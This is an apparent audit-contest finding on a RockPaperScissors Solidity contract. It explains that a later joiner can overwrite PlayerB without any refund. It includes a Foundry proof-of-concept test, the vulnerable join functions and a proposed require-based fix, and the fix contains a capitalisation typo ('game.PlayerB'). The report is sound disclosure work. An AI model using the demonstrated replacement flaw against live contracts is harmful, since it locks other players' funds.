Submission Details
Severity:
PlayerB can be replaced during an active game and will not receive a refund.
Summary
Any player who decides to join an active game can be replaced by another player at any point during the game because there are no safeguards/require statements to prevent a new player from joining, even after there is already an player address associated with PlayerB. If a player in the PlayerB slot ends up being replaced, they do not receive a refund either. The Eth/Tokens that do not get refunded end up stuck within the RockPaperScissors contract itself This affects both joinGameWithEth and joinGameWithToken functions.
Vulnerability Details
Within both of these functions, there are no safeguards to prevent a new player from joining even after a player has already joined. When another player joins, it kicks out the original PlayerB and does not refund them, locking the funds within the RockPaperScissors contract. Within my testing suite, I have player A create a game with ETH, player B join that game matching the bet, then have player C join the game with a matching bet, causing player B to be kicked without receiving a refund. I then have player A utilize the cancelGame function to cancel the game and cause refunds to be issued. Both player A and player C receive their original bets back but player B does not and the funds are now located within the contract.
Testing suite:
// SPDX-License-Identifier: MIT
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract RockPaperScissorsTest is Test {
// Events for testing
event GameCreated(uint256 indexed gameId, address indexed creator, uint256 bet, uint256 totalTurns);
event PlayerJoined(uint256 indexed gameId, address indexed player);
event MoveCommitted(uint256 indexed gameId, address indexed player, uint256 currentTurn);
event MoveRevealed(
uint256 indexed gameId, address indexed player, RockPaperScissors.Move move, uint256 currentTurn
);
event TurnCompleted(uint256 indexed gameId, address winner, uint256 currentTurn);
event GameFinished(uint256 indexed gameId, address winner, uint256 prize);
event GameCancelled(uint256 indexed gameId);
event JoinTimeoutUpdated(uint256 oldTimeout, uint256 newTimeout);
event FeeCollected(uint256 gameId, uint256 feeAmount);
event FeeWithdrawn(address indexed admin, uint256 amount);
// Contracts
RockPaperScissors public game;
WinningToken public token;
// Test accounts
address public admin;
address public playerA;
address public playerB;
address public playerC;
// Test constants
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3; // Must be odd
// Game ID for tests
uint256 public gameId;
// Player balances
uint256 public playerAInitialBalance;
uint256 public playerANewBalance;
uint256 public playerBInitialBalance;
uint256 public playerBNewBalance;
uint256 public playerCInitialBalance;
uint256 public playerCNewBalance;
// Contract balances
uint256 public contractInitialBalance;
uint256 public contractNewBalance;
uint256 public contractFinalBalance;
// Setup before each test
function setUp() public {
// Set up addresses
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
playerC = makeAddr("playerC");
// Fund the players
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
// Deploy contracts
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
// Mint some tokens for players for token tests
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
vm.prank(address(game));
token.mint(playerC, 10);
}
// Test joining a game with ETH
function testJoinGameWithEthMalicious() public {
// Create a game
vm.prank(playerA);
playerAInitialBalance = playerA.balance;
contractInitialBalance = address(game).balance;
console.log("PlayerA Initial Balance: ", playerAInitialBalance);
console.log("Amount initially in game contract: ", contractInitialBalance);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// Player B joins the game
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
playerBInitialBalance = playerB.balance;
console.log("PlayerB Initial Balance: ", playerBInitialBalance);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Player C joins the game, replacing original Player B
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
playerCInitialBalance = playerC.balance;
console.log("PlayerC Initial Balance: ", playerCInitialBalance);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
// Check amount in contract
contractNewBalance = address(game).balance;
console.log("Amount in game contract after player B leaves and player C joins: ", contractNewBalance);
// Verify game state
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
// Player A cancels game to issue refund, but player B is not refunded
vm.startPrank(playerA);
game.cancelGame(gameId);
playerANewBalance = playerA.balance;
playerCNewBalance = playerC.balance;
playerBNewBalance = playerB.balance;
contractFinalBalance = address(game).balance;
console.log("playerA Final Balance: ", playerANewBalance);
console.log("playerC Final Balance: ", playerCNewBalance);
console.log("playerB Final Balance: ", playerBNewBalance);
console.log("Amount in game contract after game canceled: ", contractFinalBalance);
vm.stopPrank();
vm.startPrank(admin);
game.withdrawFees(contractFinalBalance);
// Assertions
assertEq(playerANewBalance, playerAInitialBalance, "Player A not refunded");
assertEq(playerBNewBalance, playerBInitialBalance, "Player B not refunded"); // Does not pass
assertEq(playerCNewBalance, playerCInitialBalance, "Player C not refunded");
assertEq(contractFinalBalance, 0, "Contract balance not zero after game canceled"); // Does not pass
assertEq(storedPlayerA, playerA, "Final player A address is not original address");
assertEq(storedPlayerB, playerB, "Final player B address is not original address"); // Does not pass
}
}
joinGameWithEth and joinGameWithToken functions:
/**
* @notice Join an existing game with ETH bet
* @param _gameId ID of the game to join
*/
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
/**
* @notice Join an existing game with token
* @param _gameId ID of the game to join
*/
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Impact
This can result in a loss of funds for players who join a game as well as making it difficult for players to remain within an active game session since they could be kicked at any point if another player tries to join.
Tools Used
Foundry and manual review
Recommendations
Implement a require statement that will prevent players from being able to join an active game session after a player has already joined and been assigned to the PlayerB slot:
/**
* @notice Join an existing game with ETH bet
* @param _gameId ID of the game to join
*/
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.playerB == address(0), "Game already has two players"); // PlayerB Safeguard
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
/**
* @notice Join an existing game with token
* @param _gameId ID of the game to join
*/
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
require(game.PlayerB == address(0), "Game already has two players"); // PlayerB Safeguard
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates
Appeal created
m3dython 3 months ago
Submission Judgement Published Assigned finding tags:
Absence of State Change on Join Allows Player B Hijacking
Game state remains Created after a player joins
Rewards breakdown
nSLOC
349This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.